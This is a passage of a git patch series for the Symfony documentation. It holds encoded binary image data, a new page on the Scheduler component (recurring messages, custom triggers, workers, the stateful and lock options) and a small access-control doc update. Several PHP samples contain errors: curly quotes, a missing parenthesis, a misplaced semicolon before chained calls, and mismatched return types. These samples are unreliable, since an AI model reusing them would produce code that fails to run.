z2A{iXR>?{w&;ourh>-he$x)^3D*IIa3k>Aib8EouN99%MrIVR~w^2$Ud}mXQ+JsaT
z-%9y~C;fhyaJU;RtmN%cfl9<DfOvdY(jdA9(GuMz`Ys<%M{mB%#B~nDFA}ai%E&yh
z!1Z`A*^>IP5;%Bc*7fKYI4q8mKiDp|RBMdMbLsiu%fZoU)|-91%Sq!{SYw<2(<7|;
z9KWdA$Pn<I0#rhj6K++WcI_t~0Y9Dv)Po~}$L%Nz9V%FEe{RN9IR_dyHK_PCvn9f4
zezXm?a{XXp5?|LL2~z)XGMrbyMz;_WX9@!(Dj~3Ue)71Cu)_ZaKKy&?2Vl;mUz?0x
zuJ13dXogmwn$rQgKwcBfb+3}t2%uT}4uQ+4W0_V42}uCB@|0E6SwXLP9g={`UGe9u
zOFYYyq^nJ>;Ii0AXr&(wsOpBjDcC$LQJ6lcAojG)qL>+ytq@zs`vr&U42N{CL~MT@
zRYyNknNl$s;B!=ER(pY}Dt^8s!@Xv=%;kt7?@A$pe4(Yn$jn>YrV)8t6?J(^BAG0p
zW9RkT(Irb&^3;KXq=uYKMgdgKWSw2bS<HHm{OtwuYC{d9+M*cYQi{};l%b#ARlbzv
z2tYrIZ;&szQiTB=Kz(k}k1&?*f)mS=d9P3j{?GY{Cj~zHkz(Deek5no^01RzlDV>*
zzcI_=0rx9#8%goL*62MQa3s|7D`=TJ$N+i?NhlNmGlVbI9>r5%c@qm=#;)iRcjgS$
z<d#pY(@f%~+g^8K(nePK^ynheZz3H^;~;vnR<Mhs*wwv@wToam5@H_VuBC4xd=Q~K
zwmy@^ekv01i?5}C>YRAoD<=8Ah(OIsmp8ty$*!sKEkKC?K9zS?7a`zMn3+wk0K;5K
zXIqk@%?J;$SZirQa0v)dTI--#Q>iF+w?c0CbK&J{E<|k7jn}7wE>+ljkz-X~4)6)`
zAB=q#i_cz5Cmg?CzrO*kP+MW-{zjjah0_ZWt=o7?mT%#El>G4782}%h+zwa6iKZKA
z{36~W&{9<X#w#Upgd(0Ez^seK08&QgXx69a&j$#3A{&l0{8JuG<bpPpJJmf6Q}ZAV
zJi&19$J+GOHGZ%&nBT5&#9dGl!GFp~4!FJ@e!NQkv-x5J|BVDl%M~}baq+Vx1{2pa
zP5LLm7ztr{MZTZ)jGXq)NlRP1|M<-EhnW5=(9=e|4M#(A@HbUY2`xehAoPL=l@<x=
z=%bTro3X@hY`i03&vFL~0X-rG0{xTGmx{%2#}Kvr3lj9BY1Uf9bK8THJ(5JNn_Usz
z7c`1;lD$F@_4QEO&-N{-#n%St2KrSjGR>5<!0eftVZN)>m7XS@wFD5h=G!NV2<omz
zd!In0s0L(p67@s(+r;m^gcsc97rDM?9lgdh$x<CWvzDXy)}=2oanb1sno06PK?rce
zh%3>5(j5)>1!`Gu!7|KCF%z7U#%go#!m5`&_-neO9RUvA%OwMphur7;ECgNud7A$f
zR&CK9qlowEOB6ZSskVOYOaqv=O7D`ogB^~KD>7r^5CdxzRfg*RX7k|ygZ>Lb?{rDd
ziWFrS!<exm7Udlq8n-;tet=%!FXcCi8GvjvMj>VL^Xv@>ed5!BHJ~mUQh9Z;=M%1+
zoUErj1-MHXL{3&_H*%)E7FhUTuF88G(imKJIzIOvcPtc97NS2cZlycllGwBj{|O-L
z>0je<n37&Y4@vr;r=<I9Jqsv!aidrk3oYY$?EYZc*@FBy4c|KJh(sx<Ju>qjV)1{y
zsO9jTU(lj9>3==7C<3Q;_~n!Shs#z>$OqJkdA~{Psl`tuq5kxEiE(#J-q})0feDE@
zRZ~e#;U4&GD&qw&0kBmB=)>kUW-S$|0Da`PME1-?jmL-QIQc)vpS2SJ24Lf+p|6wa
zI7^Kgtv9g<B<*%DPeGXveo_R9DmvpAo#&H--Bu*Hui<tjr@!{Dd0&2>WOuTq1N?5O
zF7sBdqEW;`wt?(}R^)BR0*Y556<n}@a?e<WkZ=a;pGwCE^GgS`p1F#!a!v-j@J=pM
ztU*fLa&_EeZ%<n3_Qg;7TkUd6VS=kzyQ3J$bs2ICPnF&0dDfJ8R7d3czdi^fut;R3
zK3*5fjQg=$h_E{t%w9(><R9&U1FjoIwx()T(jMeM01!#CAke)=Ip7W&!bbZ3L+1Bj
z_GARY>-f5yZDew;U2k$HAb1=ec-J+i`xpfClFR@*JRt;f+y9prt|Sb<jCH0wy3HI<
zby+zE_P=)Ff9}qBzz236rEjrx*l5Zo!rvm8yH_eNl)#4vl-NdSfGUT1A;KAQa9XJ1
zplSZWxwUjbN!jp7q_YyxELs0pbOX$9<gZrWgPcUDdA$=EzwAgD!Etwbn12VhVxv$S
zH6ZH>Ii9xFKMQ>@e+%Gtuws&VDSh1?jyr3<;Ns${kOgYf8WrC5h~zS1TlcVO#IEu@
zo}S#30Rzq1hm*HVwnPk`gPPQ3yr{HgYPH?4r7c&qbB4K4he7aZQGwB6-&M5TTwL>x
z2wLA;e$4pi?CTMXwHUEClq#mmsX1xC&|}Vyvb7Wv6~WeY448sI!A(5A<weDZk09=+
z#xj&h-}Zd{L`BdmXH5mAB1J>r3FcGNmLr%wek_PLgPvtjnEA6U!>z*r#7B4>G?^m`
zry%&fA;+579if*z+B2!@vYA;wj`N$uYo@x(flWe(MR({e7<zl_4OzAg*FAuC1$@Bo
zzvw2EOvRi-V}CBAz++|nMXp+f{t{MK6{dZ0B0q(jl@hYQ)ZH=FND}hma>t7B#Nm7j
zj7w(&HXFXSZ=HQ7RJCs<aWk#aEjBefF|<JU>>8zZ)wf)K=|qkp<YTV@XZx$FF_Z2_
zt^P~*o2E_idN_-vtog>#Q?hSbhg>l2I>E~Vmzr0R`2uI_?an{mMie3<t1&dQ&3a!J
zA(sL`yl*5zwj4&d`$AIY_K{)qKy@ftod^*OECL$wTi{cN{(j+0fM{8Nsa1C2K-8<h
zo~33F3}7XjrtEO@kd~+HT;QhU-RHv8@C(6BEm<%#Wt#nD`o(v+fF?NXot>=f*zT^5
zsT91hA%V&o*CP{WXI`fRyOFAT&{Ey+K^}Xb?<BZhi{FODLbeub`3d>%CqB<!-cKFI
zJ?Btcu+ysa+>R5xhv#5xy24_)y*as0Z9J>|fHWR>`(Dvn$1E`N2go@+G1sna2@Ea0
zGyxBF5ApGH&&6F@;P(q$)Zc963v5x;5$6}T9FZYqdA`+54ONjR_hliMe+Mxd{kk{9
zd(g9*b#To@D9p;K^7p9!9)8O-)^rT4f`veX%N`6l>yV^g0zVDc=}GId70odB>K6IT
z4r7C?D-!aptigQ04%Qg9HenU3@uk(`#r^i~V5kf##AEL8OsY=LiacZXi$9cLAdrfu
z;5k?I-Sy@1cv}ssX;{L?fq}?L&Z8~uV`*MHh{VX)1pARPc!`zq{w*7koi@1oOnfL#
zM&hljvc0DX*kOGm)(N+F{syHI8h;qU7W2v_+d+DBXPTCI{YERx8j7>_DXS2seS)ar
zb@d(hOwp8}&)ZyB^IYkO0O1XB;S;9jn>E%2xp~2VTjk&5Wp;w)Sb{F7JM6-D5Bl~0
zV59S0UW*?35?7<kmftqueY2!)-#PPn)*b(Z05{j+T@CHR<|-6@+bQu$guR?Z9MWU}
z(!{8HOf@{{<sE<P`Q-vuzjdSePmtkBaGrR-Mm(~)9DdxA$NTRMmvcr#Ibl^}#+{8?
z2lNf@b6vUuXi_-uxwdBQPbGPtbJqAi$vKs-5q{-@tajQ0nSeAH9q%jfxa%<HYP|Pd
z9+>Kg`(R@P{}{$yHhp*)w^PF*%jw{;f_F=+0<;YrwDQCALR;`a`hUh)+6~76Jv&f8
z-4=Ck4Cm8$3+(3&wI)hq?TZXS%=Z?vqzkh4KVO(Ny*eet%{@)1xH>hep^~YANY^~t
zcaK4ujPqV;Dm#E*+L^POyEHiMNO0{G&pQ4YZ)LH2Ym{#>Hf(c{*Q|MA)-+f>seS_q
zjkXdc+Tl^&c9*dSYw*~Cf#Jc=kF?kh23m)9eSUgKTyuR14yRB{<H=tvn`J)FEfKNn
ztJIbT18aD;-8PsbM>#Z086kanX6fn3eZRO6eJ3rDW+m5rd3L=x*IWgHR`K;#<s9Ff
zEjd{gSXn@=rY<g+77W=+WV-CpaG(1M9TNA(k6xZR?4}8wL@m67?#7?VoyfKd$ylAF
z6^x5zR9o+YOQWcsjJ++*wbRbl3dN3s;^i5)W#>!i5Ngj`m}6=giwvyAfmY8KyQuy?
z8vlfdmIR#Xy9%PNL^&PK+*jooxRV33R2yD57DiJB3#iSnKu~+(@|5)r!OaRh+(8{j
zi*dHFi07#DuXepp?zdcSf(5Jcp34L_^BTYRRGL{BilfrMs6X`1TKZ`8xr+RSI&>8p
z&hG39!d&@iqmHx9LxP{`Y%9%oyP&}7ZVhH}^LC_nrB8L4N(z`i_}G^OCApA<#PHN}
zT78*Z+nx^tHwuj2=FIuzUM6|9vMX?!EZN6*YzXk-N)_|ETgbjn7oTyZ@N{BhPCk|k
zl{yR}VD{MFtapd7s?J}ODK?o2-#}?N$>;2I=a!v7IxmY3?}Y053(Ku;Ou*4Uz%)1x
zMTITQI4dFK{~k5}o}?Ds7t<&Gw+81jY7u1`muc3(ZaZ7{y>Gtytk^RNZUcdV_xY}^
z;8rq2f3q;QR~U|6L7EW5R5CT0?h>WNe$F+QY~PZZ{dhXsU>0r)h1P1!#tTmle3)`S
z7Y$E*0Ud3+hxv9efS*-y{_Wk;;{?L(hL^jS5>CQWP9pd_@6v*#(!T7vBdd5X@sr&*
z?{(1`-g_>+DtEs@%&SXl%&P3%`kE3In9Z$LCC1|FLgv|G*h98`IlgYv6&L8OR^2au
zIt%R8JGyY`)cnS>Jw7-5F<WNy5Q%|k_oU4GV1e%F_(s>c!$L@uUjr+@vzm1-HS>=F
zMVgp@w#UD}xW=45NrE>x4^vyKxKb$OX7$y7owkj`6!NTu-%HuJn(9eA8|?gMF4N&C
z?`)dK2MeFr1I_78Tw3+rF(VP(Iig!7Ue}qqKK}hFXP@K1SFc!?PM4cyc+Nc+7M6n6
z(=^%Es)PqD#Gka2OUPC$Hj(WZ$9fmq_rOHuu@Ujz_iQaTn)NVF*k^Km6qCN6F228?
zPr-(1Untnu`R{x0*9zi(hS^7j(5rg7EaN6$J17k*>Zy-SV>(!0X^$V?-fbez_u9C>
zW=^&}3ud`*dq2HXT|^hh*i6p>S?T_4ETCM<k-zGMSIv9Vt$wk5Dbig|F}Hm_U(lPE
zjHR?_uY(!VTa@XvGJQ1WE~&3y|8ZNs8<_9q7UsIvj;U0PvB3uOe68m*&1;EpW!KJN
zyc3VA<b0{>@D%$6hPrRzEzH0NJIep}mGx`B*Ob!vp24dE_kCJtgyMt-BJvo`glx)7
z2mYgP`6>MF@y4~lTo-IIev#-toWF?U+t)If8JOw{NSlA}1QCX_Fye_flU@p*zWLTU
zGB%>Ku{SL99KMm+So@}xWGPVnpwAJ1GPY&`*8+TbZl8Bs^_;yV<r(srFV!n(uIZc8
zsL=+j+XYh|fzeC+;_Hq0>ai?tS$0afFxh%N9GLxuAH>Y_13#_B|0g^Hhsd{#av0LR
z)K!S8!#kO~VAFiN=%jYS*g|tZJ4z&FQ_IEyxfB09+t2=^erJ`%8iM{=cHeSZi5lDR
zPQSY&`-LnJR&{ty=QHr!sx8AWC?Z5}S5Z3?Z9Lyp^PU6>zBgg2XHP`=CXnx0t2uU^
zb4uXya2=K1Z9tZ#gim0nIt-V-Cft1-m;J_n6jcu9(TeX%JoKQL^gJBg(gasqrd5_{
zmsW4L>WVB>Y8Wl8PxHvvcW&?SfYEjju8nQRP`t76@Uqswgc`OfP>IN_)@GE*RbS3u
z%|U~)B$#K8e<%rG?m8G(LQ!&r^W+L;!CN<`(>Awq-<_xy@uR@IMPP_c?@~(Ot+Gmr
zZg<+%g{jx-o4Rkw|KH2Kx(p4i7Cro7a%`BrGaI*^lZRrFCmm{V(qw$+w>4AAQqS={
z?BIMiljnL*Qedh$d{70{-W+Y?TrmNJ>z&P435`lNY58V&X|Pr@3i+VW;*S=Y6;`f}
zRaIh}Ax32s&)$$dn+@RUgA2$hJ@s{$yv$E3bH*ST3|`4@%H*jNpW2Bnqj1&L?;evw
z<~$1;!U6KX?cwVj*NKA(j1)R8DSe}<!q^-uS<d?%$mpFIubw~8B%9oqfO}o}8>M8f
zH*WRZQX46tArZWBC*FIP(MgqM+H%&r?9-C4uJ(vtS;2N?Qf7juJ!XI0@o3ZRzTs=n
zDyw&g=Bfm>W%M`^kzeAXl=*L4(+_~`Nr%g?F7i|On5ZVi5Re@zlo2WZ6tCa%!*NIF
z)vM|>5T|t(xk)1;Aa}2oN6cm;^}eVdv$+<FYQqw<`XPx*&iuWy^!V9-=E{F%QC)D{
zX>M$)Iv+1^)tK*jpCKThR%*@^Rp~>PI@UsQj7m!PmC2dsQNoq}7<7nBcVSYb(t={+
z)5><Ay!36c#z4b8pxmNu8t8yi6B$GAUN?7wY1d|mH~8c8zY6#k8%Y^-w$-ec*kVO!
zJoa5qcz^Rg)g_~uB-eALNC9`MvEOii@G)#agVJ2nf93msjo~R=y(;eux<$`f+~hi%
zO_jHL2~)9iryn_Axq3+RZt}S|e|`1+tsdYiUH{@g>V<!9zVK&`AoDP+L++2=jH5{{
zgqXk}1n+p4>T_|GaFz%=zqxN(1F?6W;oGM_4};0~fW0X5JTv-KrP92+^6jZEm?I=w
z>*l59U1vm=;db=>>>cs2S~`oX&2skIy}v6jY=EmaJNqBs53xAR!tRvVE*#ZHzCjKK
z@moE3xSgHoJR~q$rx~mBQJbYB4z97`E9L*qiXTE!Ar^3iNaCQYyG2f3lw!blj;YdK
z4p60~Xd(FOTgS^T|8XgM0^iErZm4@5*j-br#sdFkTF`eT*)z*%#3b`8uTjF3@WZq!
zasEAN|9)4(o{$dDyzF1Jv(zb6dC0oN80EEa7!I2#%r{?gomjk{R?<so6;;6a<1ZIV
zrsq+`rMN1q$n<^ymiQ~8G}r9{%R&AfI7>xu>yY)2zlETztv90~F7D{8cE@l1Fz^M6
zVaFf%1}op<_loCK&iG;4Lr(CL|KolBvw;+SjW!!8GqavN1^#%UP`W+@o#ndiQgnP=
zxzhtSK&9*p<)3HQ5{X{dR{P9yCV8J!1-KJ@(Gl1h&th4wGs)?t7j@Mc0$WNoRY!UM
zdD6eX_^R)_zL|o?hd*UfE0lu{tgMSK5HErykcy?-+Gdw|HuD2pn8ibLl>Znv)>P8Z
zQ>a8Q>)BlybQgdn3Oc50WKWcPkETGaoD$Gdx)V3<_wUd9Cv1G>^PLQp4L)GEnxT^x
z1%4A(EPZ$y^TkpbGv5Cjzjf7&c|UD+4bHs3wGw-9?G((|`{c@tyzH~SdqIVfgI2)q
z`;LY`|70(=D1N_+O;952>!(@3YjS}mqvx<qiW?qn+U^qm`cjU_VlJQx9`%55`LpVC
z1s})PN4ad=buT<3?-kSGBCT7Pnn5B7A*^9KHnzK_*_y6Omg)h<=Tw1=ikGXC4n^yC
zJnFHWDq%M{nTyAGr%sm=+`~u=hf>ZpJ06{RQT6NNt65WS3Md4GGL^E+37yTiQGXTx
z<I<{G*FDsf4P-he*<o=$&;=X3nY7o}xtG}eJfYY7FbU{|o?Q+L1-`bQ>Hm0qzSvj&
zU#A1*?ev+scs_3mdWE%Z?a;>>7Pno&O1@g-xN(3LBhyutfEfmwv*Lc<%CLI%eo@)C
zJ6W@C`JHu5*b$tght(Sljk1CnyZ`-pQSs!vbx|kqmTCcs&_)xLoQji)7k_juUi9$7
zPr;+N0%h&bH*@lQ-cyyOjuZ&+T;Slxa_e4wVu{U{1iw|GYK%;wiW69xN`K2qd}ZIi
zMnvSA?R!^2Q`1nxtrzFD94Of0+KaW}!^qUkax1SQyyVYA^X6NoplAwb<@(ASc-hFd
zD>&Wt?V7!dEwbaToUM+#a?VzP>uc|Bt3NY##3fj$O}nXrwGiEq&bljnyDP8|>Uj6=
z#mkp^wae}+|GfA4O?t`qDRt9-<z&BpJ9*CQ%iD5$?2>bHtJmExemqS+`SxD+Uh5Ls
z%--hXwPkkauU)$QIfi%XtjQnQuic(}&h(N!AJbL6fDVnn`LEMOE}eg(x&KnS;?Jl%
zzpljpiqvsiXm(T0q|#_ZK=}Nc_1;YT+cZo}rZw$%y1YXJ*!7!Lcs4L&o`mU1vBgI{
zgBKapIc-%AtEmH)EW*H<6Ku&Hl7<`K0BhsTyUnzevBd#2G6D)28xxOq-o@6igqiJ7
z#>&!mGgf*ku&}_XZpDs<0~;P40TqHUeHaXd-Aqh}->mCBg*}r&bcVz@0GA>qnd7lb
zVL~j>)n(V+Qn6<ih#R!@6b#l_Y?Q_*4UlX<v995O!S3wEM!18Kkx5is0C<7g4PGRD
z7>-K`2iEv^w+2e$^gOVb?&9X)(e``8hR@ZTv=t1_yt}mmRL0;^=WrAlA)@MK%s5p5
yHQy8!kVq@f4FOiZI89pc2pA!w$!O#zqkr-}?g{sv&lhQ900K`}KbLh*2~7aM|7;up

literal 0
HcmV?d00001

diff --git a/scheduler.rst b/scheduler.rst
new file mode 100644
index 00000000000..cebf6b0810f
--- /dev/null
+++ b/scheduler.rst
@@ -0,0 +1,378 @@
+Scheduler
+=========
+
+.. versionadded:: 6.3
+
+    The Scheduler component was introduced in Symfony 6.3
+
+Scheduler is a component designed to manage task scheduling within your PHP application - like running a task each night at 3 am, every 2 weeks except for holidays or any schedule you can imagine.
+
+This component proves highly beneficial for tasks such as database cleanup, automated maintenance (e.g., cache clearing), background processing (queue handling, data synchronization), periodic data updates, or even scheduled notifications (emails, alerts), and more.
+
+This document focuses on using the Scheduler component in the context of a full stack Symfony application.
+
+Installation
+------------
+
+In applications using :ref:`Symfony Flex <symfony-flex>`, run this command to
+install the scheduler component:
+
+.. code-block:: terminal
+
+    $ composer require symfony/scheduler
+
+
+Introduction to the case
+------------------------
+
+Embarking on a task is one thing, but often, the need to repeat that task looms large.
+While one could resort to issuing commands and scheduling them with cron jobs, this approach involves external tools and additional configuration.
+
+The Scheduler component emerges as a solution, allowing you to retain control, configuration, and maintenance of task scheduling within our PHP application.
+
+At its core, scheduler allows you to create a task (called a message) that is executed by a service and repeated on some schedule.
+Does this sound familiar? Think :doc:`Symfony Messenger docs </components/messenger>`.
+
+But while the system of Messenger proves very useful in various scenarios, there are instances where its capabilities
+fall short, particularly when dealing with repetitive tasks at regular intervals.
+
+Let's dive into a practical example within the context of a sales company.
+
+Imagine the company's goal is to send diverse sales reports to customers based on the specific reports each customer chooses to receive.
+In constructing the schedule for this scenario, the following steps are taken:
+
+#. Iterate over reports stored in the database and create a recurring task for each report, considering its unique properties. This task, however, should not be generated during holiday periods.
+
+#. Furthermore, you encounter another critical task that needs scheduling: the periodic cleanup of outdated files that are no longer relevant.
+
+On the basis of a case study in the context of a full stack Symfony application, let's dive in and explore how you can set up your system.
+
+Symfony Scheduler basics
+------------------------
+
+Differences and parallels between Messenger and Scheduler
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+The primary goal is to generate and process reports generation while also handling the removal of outdated reports at specified intervals.
+
+As mentioned, this component, even if it's an independent component, it draws its foundation and inspiration from the Messenger component.
+
+On one hand, it adopts well-established concepts from Messenger (such as message, handler, bus, transport, etc.).
+For example, the task of creating a report is considered as a message by the Scheduler, that will be directed, and processed by the corresponding handler.::
+
+    // src/Scheduler/Message/SendDailySalesReports.php
+    namespace App\Scheduler\Message;
+
+    class SendDailySalesReports
+    {
+        public function __construct(private string $id) {}
+
+        public function getId(): int
+        {
+            return $this->id;
+        }
+    }
+
+    // src/Scheduler/Handler/SendDailySalesReportsHandler.php
+    namespace App\Scheduler\Handler;
+
+    #[AsMessageHandler]
+    class SendDailySalesReportsHandler
+    {
+        public function __invoke(SendDailySalesReports $message)
+        {
+            // ... do some work - Send the report to the relevant individuals. !
+        }
+    }
+
+However, unlike Messenger, the messages will not be dispatched in the first instance. Instead, the aim is to create them based on a predefined frequency.
+
+This is where the specific transport in Scheduler, known as the :class:`Symfony\\Component\\Scheduler\\Messenger\\SchedulerTransport`, plays a crucial role.
+The transport autonomously generates directly various messages according to the assigned frequencies.
+
+From (Messenger cycle):
+
+.. image:: /_images/components/messenger/basic_cycle.png
+    :alt: Symfony Messenger basic cycle
+
+To (Scheduler cycle):
+
+.. image:: /_images/components/scheduler/scheduler_cycle.png
+    :alt: Symfony Scheduler basic cycle
+
+In Scheduler, the concept of a message takes on a very particular characteristic;
+it should be recurrent: It's a :class:`Symfony\\Component\\Scheduler\\RecurringMessage`.
+
+Attach Recurring Messages to a Schedule
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+In order to generate various messages based on their defined frequencies, configuration is necessary.
+The heart of the scheduling process and its configuration resides in a class that must extend the :class:`Symfony\\Component\\Scheduler\\ScheduleProviderInterface`.
+
+The purpose of this provider is to return a schedule through the method :method:`Symfony\\Component\\Scheduler\\ScheduleProviderInterface::getSchedule` containing your different recurringMessages.
+
+The :class:`Symfony\\Component\\Scheduler\\Attribute\\AsSchedule` attribute, which by default references the ``default`` named schedule, allows you to register on a particular schedule::
+
+    // src/Scheduler/MyScheduleProvider.php
+    namespace App\Scheduler;
+
+    #[AsSchedule]
+    class SaleTaskProvider implements ScheduleProviderInterface
+    {
+        public function getSchedule(): Schedule
+        {
+            // ...
+        }
+    }
+
+.. tip::
+
+    By default, if not specified, the schedule name will be ``default``.
+    In Scheduler, the name of the transport is formed as follows: ``scheduler_nameofyourschedule``.
+
+.. tip::
+
+    It is a good practice to memoize your schedule to prevent unnecessary reconstruction if the ``getSchedule`` method is checked by another service or internally within Symfony
+
+
+Scheduling Recurring Messages
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+First and foremost, a RecurringMessage is a message that will be associated with a trigger.
+
+The trigger is what allows configuring the recurrence frequency of your message. Several options are available to us:
+
+#. It can be a cron expression trigger:
+
+.. configuration-block::
+
+    .. code-block:: php
+
+        RecurringMessage::cron(‘* * * * *’, new Message());
+
+.. tip::
+
+    `dragonmantank/cron-expression`_ is required to use the cron expression trigger.
+
+    Also, `crontab_helper`_ is a good tool if you need help to construct/understand cron expressions
+
+.. versionadded:: 6.4
+
+    Since version 6.4, it is now possible to add and define a timezone as a 3rd argument
+
+#. It can be a periodical trigger through various frequency formats (string / integer / DateInterval)
+
+.. configuration-block::
+
+    .. code-block:: php
+
+        RecurringMessage::every('10 seconds', new Message());
+        RecurringMessage::every('3 weeks', new Message());
+        RecurringMessage::every('first Monday of next month', new Message());
+
+        $from = new \DateTimeImmutable('13:47', new \DateTimeZone('Europe/Paris'));
+        $until = '2023-06-12';
+        RecurringMessage::every('first Monday of next month', new Message(), $from, $until);
+
+#. It can be a custom trigger implementing :class:`Symfony\\Component\\Scheduler\\TriggerInterface`
+
+If you go back to your scenario regarding reports generation based on your customer preferences.
+If the basic frequency is set to a daily basis, you will need to implement a custom trigger due to the specific requirement of not generating reports during public holiday periods::
+
+    // src/Scheduler/Trigger/NewUserWelcomeEmailHandler.php
+    namespace App\Scheduler\Trigger;
+
+    class ExcludeHolidaysTrigger implements TriggerInterface
+    {
+        public function __construct(private TriggerInterface $inner)
+        {
+        }
+
+        public function __toString(): string
+        {
+            return $this->inner.' (except holidays)';
+        }
+
+        public function getNextRunDate(\DateTimeImmutable $run): ?\DateTimeImmutable
+        {
+            if (!$nextRun = $this->inner->getNextRunDate($run)) {
+                return null;
+            }
+
+            while (!$this->isHoliday($nextRun) { // loop until you get the next run date that is not a holiday
+                $nextRun = $this->inner->getNextRunDate($nextRun);
+            }
+
+            return $nextRun;
+        }
+
+        private function isHoliday(\DateTimeImmutable $timestamp): bool
+        {
+            // app specific logic to determine if $timestamp is on a holiday
+            // returns true if holiday, false otherwise
+        }
+    }
+
+Then, you would have to define your RecurringMessage
+
+.. configuration-block::
+
+    .. code-block:: php
+
+        RecurringMessage::trigger(
+            new ExcludeHolidaysTrigger( // your custom trigger wrapper
+                CronExpressionTrigger::fromSpec('@daily'),
+            ),
+            new SendDailySalesReports(// ...),
+        );
+
+The RecurringMessages must be attached to a Schedule::
+
+    // src/Scheduler/MyScheduleProvider.php
+    namespace App\Scheduler;
+
+    #[AsSchedule('uptoyou')]
+    class SaleTaskProvider implements ScheduleProviderInterface
+    {
+        public function getSchedule(): Schedule
+        {
+            return $this->schedule ??= (new Schedule())
+                ->with(
+                    RecurringMessage::trigger(
+                        new ExcludeHolidaysTrigger( // your custom trigger wrapper
+                            CronExpressionTrigger::fromSpec('@daily'),
+                        ),
+                    new SendDailySalesReports()),
+                    RecurringMessage::cron(‘3 8 * * 1’, new CleanUpOldSalesReport())
+
+                );
+        }
+    }
+
+So, this RecurringMessage will encompass both the trigger, defining the generation frequency of the message, and the message itself, the one to be processed by a specific handler.
+
+Consuming Messages (Running the Worker)
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+After defining and attaching your RecurringMessages to a schedule, you'll need a mechanism to generate and 'consume' the messages according to their defined frequencies.
+This can be achieved using the ``messenger:consume command`` since the Scheduler reuses the Messenger worker.
+
+.. code-block:: terminal
+
+    php bin/console messenger:consume scheduler_nameofyourschedule
+
+    # use -vv if you need details about what's happening
+    php bin/console messenger:consume scheduler_nameofyourschedule -vv
+
+.. image:: /_images/components/scheduler/generate_consume.png
+    :alt: Symfony Scheduler - generate and consume
+
+.. versionadded:: 6.4
+
+    Since version 6.4, you can define your message(s) via a ``callback``. This is achieved by defining a :class:`Symfony\\Component\\Scheduler\\Trigger\\CallbackMessageProvider`.
+
+
+Debugging the Schedule
+~~~~~~~~~~~~~~~~~~~~~~
+
+The ``debug:scheduler`` command provides a list of schedules along with their recurring messages.
+You can narrow down the list to a specific schedule.
+
+.. versionadded:: 6.4
+
+    Since version 6.4, you can even specify a date to determine the next run date using the ``--date`` option.
+    Additionally, you have the option to display terminated recurring messages using the ``--all`` option.
+
+.. code-block:: terminal
+
+    $ php bin/console debug:scheduler
+
+      Scheduler
+      =========
+
+      default
+      -------
+
+        ------------------- ------------------------- ----------------------
+        Trigger             Provider                  Next Run
+        ------------------- ------------------------- ----------------------
+        every 2 days        App\Messenger\Foo(0:17..)  Sun, 03 Dec 2023 ...
+        15 4 */3 * *        App\Messenger\Foo(0:17..)  Mon, 18 Dec 2023 ...
+       -------------------- -------------------------- ---------------------
+
+Efficient management with Symfony Scheduler
+-------------------------------------------
+
+However, if your worker becomes idle, since the messages from your schedule are generated on-the-fly by the schedulerTransport,
+they won't be generated during this idle period.
+
+While this might not pose a problem in certain situations, consider the impact for your sales company if a report is missed.
+
+In this case, the scheduler has a feature that allows you to remember the last execution date of a message.
+So, when it wakes up again, it looks at all the dates and can catch up on what it missed.
+
+This is where the ``stateful`` option comes into play. This option helps you remember where you left off, which is super handy for those moments when the worker is idle and you need to catch up (for more details, see :doc:`cache </components/cache>`)::
+
+    // src/Scheduler/MyScheduleProvider.php
+    namespace App\Scheduler;
+
+    #[AsSchedule('uptoyou')]
+    class SaleTaskProvider implements ScheduleProviderInterface
+    {
+        public function getSchedule(): Schedule
+        {
+            $this->removeOldReports = RecurringMessage::cron(‘3 8 * * 1’, new CleanUpOldSalesReport());
+
+            return $this->schedule ??= (new Schedule())
+                ->with(
+                    // ...
+                );
+                ->stateful($this->cache)
+        }
+    }
+
+To scale your schedules more effectively, you can use multiple workers.
+In such cases, a good practice is to add a :doc:`lock </components/lock>`. for some job concurrency optimization. It helps preventing the processing of a task from being duplicated.::
+
+    // src/Scheduler/MyScheduleProvider.php
+    namespace App\Scheduler;
+
+    #[AsSchedule('uptoyou')]
+    class SaleTaskProvider implements ScheduleProviderInterface
+    {
+        public function getSchedule(): Schedule
+        {
+            $this->removeOldReports = RecurringMessage::cron(‘3 8 * * 1’, new CleanUpOldSalesReport());
+
+            return $this->schedule ??= (new Schedule())
+                ->with(
+                    // ...
+                );
+                ->lock($this->lockFactory->createLock(‘my-lock’)
+        }
+    }
+
+.. tip::
+
+    The processing time of a message matters.
+    If it takes a long time, all subsequent message processing may be delayed. So, it's a good practice to anticipate this and plan for frequencies greater than the processing time of a message.
+
+Additionally, for better scaling of your schedules, you have the option to wrap your message in a :class:`Symfony\\Component\\Messenger\\Message\\RedispatchMessage`.
+This allows you to specify a transport on which your message will be redispatched before being further redispatched to its corresponding handler::
+
+    // src/Scheduler/MyScheduleProvider.php
+    namespace App\Scheduler;
+
+    #[AsSchedule('uptoyou')]
+    class SaleTaskProvider implements ScheduleProviderInterface
+    {
+        public function getSchedule(): Schedule
+        {
+            return $this->schedule ??= (new Schedule())
+                ->with(RecurringMessage::every('5 seconds’), new RedispatchMessage(new Message(), ‘async’))
+                );
+        }
+    }
+
+.. _dragonmantank/cron-expression: https://packagist.org/packages/dragonmantank/cron-expression
+.. _crontab_helper: https://crontab.guru/

From f32a8cf34775c2b509c2312a610213aa5de29291 Mon Sep 17 00:00:00 2001
From: Matthieu Lempereur <matt.lempereur@gmail.com>
Date: Wed, 20 Dec 2023 13:58:44 +0100
Subject: [PATCH 4203/5766] [Security] Update request matcher doc

---
 security/access_control.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/security/access_control.rst b/security/access_control.rst
index 1da469a1f33..a8a0a3e2987 100644
--- a/security/access_control.rst
+++ b/security/access_control.rst
@@ -19,10 +19,10 @@ things:
 1. Matching Options
 -------------------
 
-Symfony creates an instance of :class:`Symfony\\Component\\HttpFoundation\\RequestMatcher`
-for each ``access_control`` entry, which determines whether or not a given
-access control should be used on this request. The following ``access_control``
-options are used for matching:
+Symfony uses :class:`Symfony\\Component\\HttpFoundation\\ChainRequestMatcher` for
+each ``access_control`` entry, which determines which implementation of
+:class:`Symfony\\Component\\HttpFoundation\\RequestMatcherInterface` should be used
+on this request. The following ``access_control`` options are used for matching:
 
 * ``path``: a regular expression (without delimiters)
